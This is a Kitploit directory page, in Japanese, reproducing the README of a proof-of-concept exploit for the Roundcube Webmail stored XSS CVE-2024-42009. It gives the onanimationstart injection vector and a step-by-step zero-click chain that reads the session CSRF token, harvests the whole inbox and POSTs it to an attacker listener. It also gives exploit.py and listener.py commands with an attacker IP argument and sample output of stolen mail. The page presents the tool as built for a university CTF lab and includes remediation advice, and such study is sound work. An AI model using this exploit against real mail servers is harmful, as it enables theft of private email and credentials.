Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-42009-roundcube-xss — Roundcube Webmail ≤1.6.6(CVE-2024-42009)の保存型XSSエクスプロイト。CSSアニメーションイベントハンドラを介したゼロクリックでのメール流出を実現。SMTP送信スクリプトとCORS対応リスナーを含み、CTFおよび許可されたセキュリティテスト向けです。 | Kitploit
ツール/GitHubGitHub/segunakinsoyinu/cve-2024-42009-roundcube-xss
フィッシングツールエクスプロイトウェブアプリケーション悪用データ流出CTFペネトレーションテスト学習と教育
GitHubsegunakinsoyinu/cve-2024-42009-roundcube-xss

CVE-2024-42009-roundcube-xss

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Roundcube Webmail ≤1.6.6(CVE-2024-42009)の保存型XSSエクスプロイト。CSSアニメーションイベントハンドラを介したゼロクリックでのメール流出を実現。SMTP送信スクリプトとCORS対応リスナーを含み、CTFおよび許可されたセキュリティテスト向けです。

リポジトリを見る
22ヶ月前未レビュー

CVE-2024-42009 — Roundcube Webmail 1.6.6 保存型XSS PoC

認可されたセキュリティテスト、CTF環境、教育研究専用です。 このツールを、所有していない、または書面による許可を得ていないシステムに対して使用することは、英国のComputer Misuse Act 1990、米国のCFAA、および世界各国の同等の法律の下で違法となります。


脆弱性の概要

フィールド詳細
CVECVE-2024-42009
影響を受けるソフトウェアRoundcube Webmail ≤ 1.6.6
修正バージョン1.6.7 / 1.6.8
CVSS v3.1 スコア8.8 (高)
CVSS VectorAV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
CWECWE-79 — ウェブページ生成時の入力の中立化の不備 (XSS)
攻撃タイプ保存型XSS → ゼロクリックメール流出
認証要件なし (SMTP配信); 低 (被害者がメールを開く必要あり)

仕組み

Roundcube 1.6.6のHTMLサニタイザーは、不正な<body>タグ属性内のCSSアニメーションキーフレームに付加されたJavaScriptイベントハンドラを除去できないという欠陥があります。

インジェクションベクター:

root@kitploit:~
<style>@keyframes x { from { opacity: 1; } to { opacity: 1; } }</style>
<body style="animation: x 0.001s;" onanimationstart="/* arbitrary JS */">

被害者が認証されたRoundcubeセッションでメールを開くと、CSSアニメーションが即座に発動します。onanimationstartハンドラは、セッションのrequest_tokenを含むrcmail JavaScriptオブジェクトへの完全なアクセス権を持って実行されます。

エクスプロイトチェーン:

root@kitploit:~
1. 攻撃者は認証不要のSMTPリレー(ポート25)を介して、悪意のあるHTMLメールを被害者に送信します。
2. 被害者がRoundcubeでメールを開くと、アニメーションが発動し、JSが実行されます(クリックは不要)。
3. JSはrcmail.env.request_token(セッションの有効なCSRFトークン)を読み取ります。
4. JSはRoundcubeの内部メールAPIを介して、すべての受信トレイのUIDを反復処理します。
5. 各メッセージが取得され、その内容が収集されます。
6. すべての受信トレイデータはJSONとして攻撃者のHTTPリスナーにPOSTされます。
7. 攻撃者は回復したメールを読み取ります。これには、認証情報、セッションデータ、または機密の通信が含まれる可能性があります。

リポジトリ構造

root@kitploit:~
cve-2024-42009-roundcube-xss/
├── exploit.py       # 認証不要のSMTP経由でXSSペイロードを送信
├── listener.py      # CORS対応のHTTPサーバー; 流出した受信トレイデータを受信して出力
├── payload.html     # 手動検査またはBurp配信用のスタンドアロンXSSペイロード
└── README.md

要件

  • Python 3.7+
  • 外部依存関係なし(標準ライブラリのみ: smtplib、http.server、json、argparse)
  • ターゲットはRoundcube ≤ 1.6.6を実行している必要があります
  • ターゲットのSMTPサーバーはポート25で認証不要のリレーを許可している必要があります(ラボ環境では一般的)

使用方法

ステップ1 — リスナーを起動する(攻撃者マシン上で)

root@kitploit:~
python3 listener.py --port 8080

データ到着時の出力:

root@kitploit:~
[+] Exfiltration received from 192.168.62.128
[*] Session token : abc123...
[*] Emails captured: 19

  --- Email 1 ---
  UID     : 1
  From    : [email protected]
  Subject : SSH Access Credentials
  Body    : Your credentials are: ...

完全なJSONダンプは自動的にexfil_dump.jsonに保存されます。

ステップ2 — ペイロードを配信する

root@kitploit:~
python3 exploit.py \
  --smtp 192.168.62.128 \
  --port 25 \
  --from [email protected] \
  --to [email protected] \
  --attacker 192.168.62.129 \
  --lport 8080 \
  --subject "Security Advisory - Action Required"

ステップ3 — 被害者がメールを開くのを待つ

Roundcube ≤ 1.6.6でメールが開かれると、リスナーは流出した受信トレイの内容を出力します。


なぜこれが機能するのか(技術的詳細)

RoundcubeのHTMLパーサーは、受信メールのHTMLをレンダリングする前に、危険な属性を取り除く役割を担っています。バージョン≤ 1.6.6では、パーサーはonclick、onerror、および類似のハンドラを正しく除去しますが、CSSアニメーションイベント(onanimationstart、onanimationend、onanimationiteration)のイベントハンドラは除去しません。

CSSアニメーションはレンダリングの一部として発動するため(ユーザーの操作ではなく)、ハンドラはメールが開かれた瞬間に実行されます — リンクのクリックも、メッセージを開く以外のユーザー操作も不要です。

rcmail JavaScriptオブジェクトは、すべての認証されたRoundcubeセッションでグローバルにアクセス可能です。これはセッションのCSRFトークンであるrcmail.env.request_tokenを公開します。Roundcube自身のメールAPIエンドポイント(?_task=mail&_action=list、?_action=show)と組み合わせることで、ペイロードは追加の認証をトリガーすることなく完全な受信トレイを読み取ることができます。


影響を受けるバージョン

バージョンステータス
≤ 1.6.6脆弱
1.6.7修正済み
1.6.8修正済み(推奨)
1.5.x LTSベンダー勧告を確認

修復

アクション詳細
アップグレードRoundcube 1.6.8以降でこの種のXSSが修正されています
CSPヘッダーwebmail vhostにContent-Security-Policy: default-src 'self'; script-src 'self'を展開して、インラインJSの実行をブロックします
SMTPリレーポート25での認証不要のリレーを無効にし、すべての内部配信にAUTHを要求します

参考文献

  • Roundcube セキュリティ勧告
  • NVD — CVE-2024-42009
  • OWASP Top 10 A03 — インジェクション

発見者 / 実演者

このPoCは、コベントリー大学のMScサイバーセキュリティ(2025–2026)の倫理的ハッキングと侵入テストモジュールにおけるBoot-to-Root CTF侵入テスト評価の一環として開発およびテストされました。すべてのテストは、明示的な書面による許可を得て、隔離されたVMwareラボ環境で実施されました。

作者: Segun Akinsoyinu
ポートフォリオ: segunakinsoyinu.github.io/MyPortfolio


法的通知

このコードは教育および認可されたセキュリティ研究目的のみのために公開されています。作者は誤用に対する責任を負いません。このツールを使用する前に、対象システムをテストするための明示的な書面による許可を得ていることを確認してください。

ツールをダウンロード
引数説明
--smtp対象SMTPサーバーのIPまたはホスト名
--portSMTPポート (デフォルト: 25)
--from送信元アドレス(リレーが受け入れる任意の値)
--to被害者のメールアドレス
--attackerあなたのIP — ペイロード内に流出収集先として埋め込まれます
--lportあなたのリスナーポート (デフォルト: 8080)
--subjectメールの件名